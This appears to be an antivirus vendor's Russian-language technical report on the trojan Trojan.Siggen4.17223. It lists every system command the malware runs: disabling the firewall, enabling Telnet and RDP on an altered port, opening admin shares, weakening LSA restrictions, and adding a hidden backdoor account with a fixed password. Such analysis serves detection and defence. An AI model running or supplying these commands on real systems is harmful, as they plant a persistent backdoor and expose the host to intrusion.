Trojan.Siggen4.17223

Техническая информация

Для обеспечения автозапуска и распространения:

Создает следующие сервисы:

[<HKLM>\SYSTEM\ControlSet001\Services\lanmanworkstation] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\Netlogon] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\TlntSvr] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\lanmanserver] 'Start' = '00000002'

Вредоносные функции:

Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

Запускает на исполнение:

<SYSTEM32>\net1.exe share E$
<SYSTEM32>\net1.exe share D$
<SYSTEM32>\net1.exe share F$
<SYSTEM32>\net1.exe share H$
<SYSTEM32>\net1.exe share G$
<SYSTEM32>\sc.exe start NetLogon
<SYSTEM32>\sc.exe config NetLogon start= auto
<SYSTEM32>\net1.exe share ipc$
<SYSTEM32>\net1.exe share C$
<SYSTEM32>\net1.exe share admin$
<SYSTEM32>\net1.exe share I$
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v RestrictAnonymoussam /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v RestrictAnonymous /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add "HKLM\System\CurrentControlSet\Services\NetBT\Parameters" /v SMBDeviceEnabled /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 0x00000d3e /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3e /f
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /F
<SYSTEM32>\net1.exe accounts /MAXPWAGE:UNLIMITED
<SYSTEM32>\net1.exe localgroup %USERNAME%s SUPPORT_69408284CB$ /add
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_69408284CB$ /t REG_DWORD /d 0 /f
<SYSTEM32>\sc.exe config tlntsvr start= auto
<SYSTEM32>\net1.exe start telnet /y
<SYSTEM32>\net1.exe stop "Windows Firewall/Internet Connection Sharing (ICS)"
<SYSTEM32>\net.exe stop "Windows Firewall/Internet Connection Sharing (ICS)"
<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v EnableFirewall /t REG_DWORD /d 0 /f
<SYSTEM32>\net1.exe user SUPPORT_69408284CB$ "123ABCabc,.," /add
<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f
<SYSTEM32>\sc.exe start tlntsvr
<SYSTEM32>\sc.exe config lanmanworkstation start= auto
<SYSTEM32>\net1.exe start lanmanworkstation /y
<SYSTEM32>\sc.exe start lanmanworkstation
<SYSTEM32>\net1.exe start NetLogon /y
<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon /v DependOnService /t REG_MULTI_SZ /d "LanmanServer\0LanmanWorkstation" /f
<SYSTEM32>\regsvr32.exe /s <SYSTEM32>\tlntsvrp.dll
<SYSTEM32>\tlntsvr.exe
<SYSTEM32>\net1.exe start server /y
<SYSTEM32>\sc.exe start lanmanserver
<SYSTEM32>\sc.exe config lanmanserver start= auto